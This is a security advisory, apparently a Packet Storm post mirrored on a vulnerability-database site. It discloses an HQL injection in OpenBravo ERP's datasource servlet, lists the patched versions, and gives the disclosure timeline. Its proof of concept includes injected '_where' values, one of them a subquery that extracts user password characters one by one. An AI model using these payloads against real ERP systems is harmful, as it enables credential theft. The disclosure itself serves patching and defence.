Lucene search
K

OpenBravo Hibernate HQL Injection

🗓️ 11 Jan 2016 00:00:00Reported by Sam NgType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 38 Views

OpenBravo ERP Java application SQL Injection via Hibernate HQ

Code
`Title: OpenBravo Hibernate HQL Injection  
Vulnerability Author: Sam Ng, HPE Software Security Research Team  
Vendor Patch: 3.0PR15Q3.4 and 3.0PR15Q4.1  
Vendor Reference: https://issues.openbravo.com/view.php?id=31577, http://wiki.openbravo.com/wiki/Release_Notes/3.0PR15Q3.4, http://wiki.openbravo.com/wiki/Release_Notes/3.0PR15Q4.1  
Exploitation Type: Remote, Login required  
  
========================================================================  
Overview:  
  
OpenBravo is an open source ERP Java application. A SQL Injection was found in the form of Hibernate HQL. One of the datasource servlet accepts a "_where" parameter from HTTP and uses it to create a dynamic HQL by string concatenation.  
  
========================================================================  
Proof of Concept (PoC):  
  
After login, click on the Alerts link, the browser will send a JSON request to http://<your_host>/openbravo/org.openbravo.service.datasource/ADAlert, change the _where parameter to  
  
// the following will return all records in ADAlert  
1=1  
  
// the following will return an empty resultset, no error  
(select substring(password,0,1) from ADUser where username='Openbravo')='x'  
  
// the following will throw an exception saying there are more than one row returned in the subquery  
(select substring(password,0,1) from ADUser where username!='Openbravo')='x'  
  
========================================================================  
Timeline  
  
2015/11/18 - Vendor notified via email  
2015/11/25 - Vendor confirmed the bug and working on a fix  
2015/12/10 - Vendor released 3.0PR15Q3.4  
2015/12/16 - Vendor released 3.0PR15Q4.1  
2015/12/21 - Public vulnerability release  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation